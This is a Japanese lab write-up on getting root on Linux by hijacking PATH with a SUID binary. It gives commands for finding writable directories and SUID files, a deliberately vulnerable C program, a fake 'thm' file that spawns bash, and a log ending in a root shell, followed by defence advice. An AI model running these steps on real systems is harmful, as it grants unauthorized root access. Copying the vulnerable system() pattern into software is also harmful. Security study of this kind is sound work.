はじめ
PATHの誤設定や書き込み可能なディレクトリがSUIDバイナリと組み合わさると、簡単にroot権限を奪えることがあります。この記事では「何が危ないのか」「なぜ起きるのか」「どうやって検証・再現するか」を実用的なコマンド例つきで整理します。実務での防御・検知ポイントも最後にまとめてあります。短めに核心だけ押さえます — でも手順は丁寧に。
概要
-
PATH はコマンド名を実行するときに検索されるディレクトリの一覧(例:
/usr/bin:/bin:...)。 - プログラムが外部コマンドを
system()やexec()などで呼ぶ際、絶対パスで指定されていなければ PATH を順に探索します。 - SUID(setuid)ビットが立ったバイナリが外部コマンド名を相対呼び出ししていると、その呼び出し先が PATH にある書き込み可能なディレクトリに置かれた偽バイナリに差し替えられ、root権限で実行されうる。
簡単に言うと:誰でも書き込めるディレクトリがPATHに入っていて、rootで動くプログラムが丸投げで外部コマンドを呼ぶとヤバい。
攻撃が成立する条件
攻撃を成立させるための必要条件(少なくとも一つずつ):
- 権限昇格ターゲットにSUIDビットが設定されたバイナリが存在する(例えば
/home/user/testが root 所有で SUID)。 - そのバイナリが
system("thm")のように外部コマンドを絶対パスでなく名前だけで呼び出す。 - 現在のユーザーが書き込み可能なディレクトリ(例
/tmpや/home/murdoch)がそのバイナリの実行時の PATH に含まれている、または実行前に PATH を変更できる。 - 攻撃者がその書き込み可能ディレクトリに任意の実行ファイル(偽コマンド)を配置できる。
これらが揃うと、SUIDバイナリが偽コマンドを root 権限で実行してしまう。
実証手順
実例は提示された環境を元に整理した手順です。読みながらコピペでケイゾクできるようにコマンドを列挙します。
1) PATH と書き込み可能ディレクトリを確認
# 自分の PATH を確認
echo $PATH
# 書き込み可能なディレクトリを探す(root権限がない場合は /tmp 等を狙う)
find / -writable 2>/dev/null | cut -d"/" -f2,3 | grep -v proc | sort -u
2) SUIDバイナリを探す(ターゲット候補)
# システム全体の SUID バイナリ
find / -perm -4000 -type f 2>/dev/null
# または特定ユーザのホームに SUID があるかなどを確認
ls -l /home/* | grep 's'
3) 実行時に thm を呼んでいる SUID バイナリ(デモでは test)を発見
# 試しに実行して "thm: not found" のような出力があるか確認
./test # -> sh: 1: thm: not found
4) PATH に書き込み可能ディレクトリを追加して偽コマンドを置く
(例:/home/murdoch を PATH に追加)
# /home/murdoch を先頭に追加
export PATH=/home/murdoch:$PATH
echo $PATH
# /home/murdoch に偽 thm を置く(実行ファイル化)
cd /home/murdoch
echo "/bin/bash" > thm # 単純に bash を呼ぶスクリプトとして作成
chmod 7777 thm # 実験的に実行権限(注意:7777 は例。実際は慎重に)
ls -l thm
注:
echo "/bin/bash" > thmは単純な例。実運用では ELF バイナリを置くか、シェバン付きのスクリプトを作るなどの手法がある。ここでは簡潔化のため。
5) SUIDバイナリを実行して root シェルを取得(そして flag を読む)
# SUID バイナリを実行
./test
# もし root シェル が出れば
whoami
cat /home/matt/flag6.txt # flag を読む(環境による)
実例結果(提示されたやり取りに基づく):
- 可書きディレクトリ:
/home/murdoch - SUID バイナリ:
/home/murdoch/test(root 所有、SUID) - 偽コマンド
thmを配置 →./test実行 →root@...#シェル取得 →cat /home/matt/flag6.txt
検知・防御(Defence & Detection)
運用側で取るべき対策(優先度高→低):
-
不要な SUID を取り除く
- SUID が不要なバイナリは
chmod u-s <file>で外す。SUID は最小限に。
- SUID が不要なバイナリは
-
外部コマンドを名前で呼ぶ実装を避ける
-
system("thm")ではなく、フルパス(例/usr/bin/thm)で呼ぶ設計にする。これが最も効果的。
-
-
PATH にユーザ可書きディレクトリを含めない
- root 実行環境の PATH に
/tmpやユーザホームを入れない。secure_pathを sudoers で設定する(Defaults secure_path=...)。
- root 実行環境の PATH に
-
ファイル権限を適切に管理
- ホームディレクトリや共有領域のパーミッションを見直し、rootが期待しないファイルが置けないようにする。
-
監査・検知
- SUIDバイナリの実行ログ(auditd)を有効化し、通常使われないSUIDバイナリの実行を検出する。
- 不審な PATH 変更やクロスユーザ実行(rootがユーザディレクトリのファイルを実行)が発生したらアラート。
-
CI/コードレビューで外部コマンド呼出しをチェック
- コードレビュー時に
system()やpopen()等で相対コマンドを呼ぶ箇所がないかチェックする。
- コードレビュー時に
まとめ
- 本質:SUID バイナリが名前だけで外部コマンドを呼ぶ × 攻撃者が書き込み可能なディレクトリが PATH に入る → root 実行権の横取り。
-
対策の優先順位:
- 不要な SUID を除去、2) 外部コマンドはフルパスで呼ぶ、3) root の PATH にユーザ書込領域を含めない、4) 監査ログで検知。
-
実務アドバイス:コードレビューで
system()/popen()を見つけたら重大リスクとして扱い、フルパス指定や呼び出し方の見直しを指示してください。笑って済ませられる脆弱性じゃありません — でも対処は比較的シンプルです。
Log
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
path_exp.c
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("thm");
}
gcc path_exp.c -o path -w
chmod u+s path
./path
$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
dev/char
dev/fd
dev/full
dev/fuse
dev/log
dev/mqueue
dev/net
dev/null
dev/ptmx
dev/pts
dev/random
dev/shm
dev/stderr
dev/stdin
dev/stdout
dev/tty
dev/urandom
dev/zero
etc/udev
home/murdoch
run/acpid.socket
run/cloud-init
run/dbus
run/lock
run/screen
run/shm
run/snapd-snap.socket
run/snapd.socket
run/systemd
run/user
run/uuidd
snap/core
snap/core18
snap/core20
sys/fs
sys/kernel
tmp
tmp/.ICE-unix
tmp/.Test-unix
tmp/.X11-unix
tmp/.XIM-unix
tmp/.font-unix
usr/lib
var/crash
var/lock
var/tmp
$
$ export PATH=/tmp:$PATH
$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$
$ cd /tmp
$ pwd
/tmp
$ echo "/bin/bash" >thm
$ chmod 7777 thm
$ ls -l thm
-rwsrwsrwt 1 karen karen 10 Nov 7 07:19 thm
flag6.txt
$ find / -name flag6.txt 2>/dev/null
/home/matt/flag6.txt
cd /home/murdoch
$ ls -ls
20 -rwsr-xr-x 1 root root 16712 Jun 20 2021 test
4 -rw-rw-r-- 1 root root 86 Jun 20 2021 thm.py
we can find test and thm.py have root right.
$ ./test
sh: 1: thm: not found
$ echo "cat /home/matt/flag6.txt" >thm
$ chmod 7777 thm
$ ls -l thm
-rwsrwsrwt 1 karen karen 10 Nov 7 07:19 thm
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
THM-736628929
$
$ echo "/bin/bash" > thm
$ ./test
root@ip-10-201-32-159:/home/murdoch#